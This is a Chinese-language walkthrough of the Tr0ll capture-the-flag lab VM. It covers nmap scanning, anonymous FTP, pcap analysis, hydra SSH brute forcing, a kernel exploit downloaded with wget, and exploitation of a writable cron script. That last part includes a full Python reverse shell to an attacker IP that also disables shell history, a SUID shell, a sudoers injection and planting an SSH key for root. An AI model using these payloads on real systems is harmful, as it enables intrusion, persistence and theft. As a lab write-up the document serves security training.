实战流程

1、nmap枚举

nmap -sP 192.168.186.0/24

nmap -p- 192.168.186.142

image-20220531153830566

nmap 192.168.186.142 -p- -sS -sV -A

img

发现ftp存在lol.pcap流量文件,还有FTP带有匿名登录名:Anonymous FTP login allowed,80http存在robots.txt和/secret目录文件。

image-20220531154917987

2、登录FTP枚举
账号密码:
Anonymous
Anonymous

ftp 10.211.55.32
dir
get lol.pcap

3、wireshark分析流量
wireshark lol.pcap

wireshark对流量界面右键->追踪流量->TCP流量!
获得tcp.stream eq 1和tcp.stream eq 2等信息:

tcp.stream eq 1:第一个流显示了一个文件secret_stuff.txt

image-20220531170817281

tcp.stream eq 2:sup3rs3cr3tdirlol

image-20220531170857782

4、页面枚举http://192.168.186.142/sup3rs3cr3tdirlol/

image-20220531171244974

roflmao下载!
file roflmao    ---枚举是32位的ELF 二进制文件

image-20220531171551116

strings roflmao 发现Find address 0x0856BF to proceed
hexeditor roflmao ---十六进制的也可以用这个发现!

image-20220531172055331

5、页面枚举http://192.168.186.142/0x0856BF/

存在两页页面:good_luck/ this_folder_contains_the_password/

image-20220531172153656

http://192.168.186.142/0x0856BF/good_luck/which_one_lol.txt

猜测是用户名!

image-20220531172300212

http://192.168.186.142/0x0856BF/this_folder_contains_the_password/Pass.txt

初步猜测是用户密码hydra爆破!

image-20220531172442827

6、hydra爆破

创建user.txt

nano user.txt

6、hydra爆破

hydra -L user.txt -p Pass.txt 192.168.186.142 ssh

image-20220531173837724

login: overflow   password: Pass.txt

7、登录系统ssh

ssh overflow@192.168.186.142

image-20220531174029575

Linux 4-Tr0ll 3.13.0

searchsploit Linux 4-Tr0ll 3.13.0:只有两个符合的

image-20220531174550247

利用37292.c:

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/whoami/poc

开启本地http服务

python -m http.server 8081

目标端

补齐shell

python -c 'import pty; pty.spawn("/bin/bash")'

在tmp目录下下载

wget http://192.168.186.130:8081/37292.c

执行提权命令

gcc 37292.c -o heiyu1
./heiyu1

提权成功后进入root目录,获取flag,结束。

# cat proof.txt
Good job, you did it! 
702a8c18d29c6f3ca0d99ef5712bfbdc

拓展思路

Broadcast Message from root@4-Tr                                               
        (somewhere) at 8:40 ...                                
TIMES UP LOL!                                                                       
Connection to 10.211.55.32 closed by remote host.
Connection to 10.211.55.32 closed.

它会自动结束ssh进程,而且还是整点提示!说明有计划任务在自动到点结束进程。每5分钟就被踢一次!

find / -name cronlog 2>/dev/null    ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null   ---查看文件在哪儿
find / -writable 2>/dev/null   ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v   ---枚举
/lib/log/cleaner.py

知道了计划任务和py脚本可写入,以及py的位置后,那么方法千万种,接下来演示三种:
1)反弹shell
2)创建root可执行程序,获得root权限
3)写入ssh rsa,ssh登录root用户

nano使用教程:
ctrl x | y

1)反弹shell
nc -tvlp 9999

#!/usr/bin/python
def con():
	import socket, time,pty, os
	host='10.211.55.19'
	port=9999
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.settimeout(10)
	s.connect((host,port))
	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	os.putenv("HISTFILE",'/dev/null')
	pty.spawn("/bin/bash")
	s.close()
con()

2)创建root可执行程序,获得root权限

os.system('cp /bin/sh /tmp/heiyu1')
os.system('chmod u+s /tmp/heiyu1')

或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:
os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')

cd /tmp
ls
./sh
cd /root
ls
cat proof.txt

3)写入ssh rsa,ssh登录root用户

ssh-keygen   ---都空格回车
cd ~/.ssh
cat id_rsa.pub
mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys

脑图汇总

image-20220531235540449

内容来源于网络如有侵权请私信删除
你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!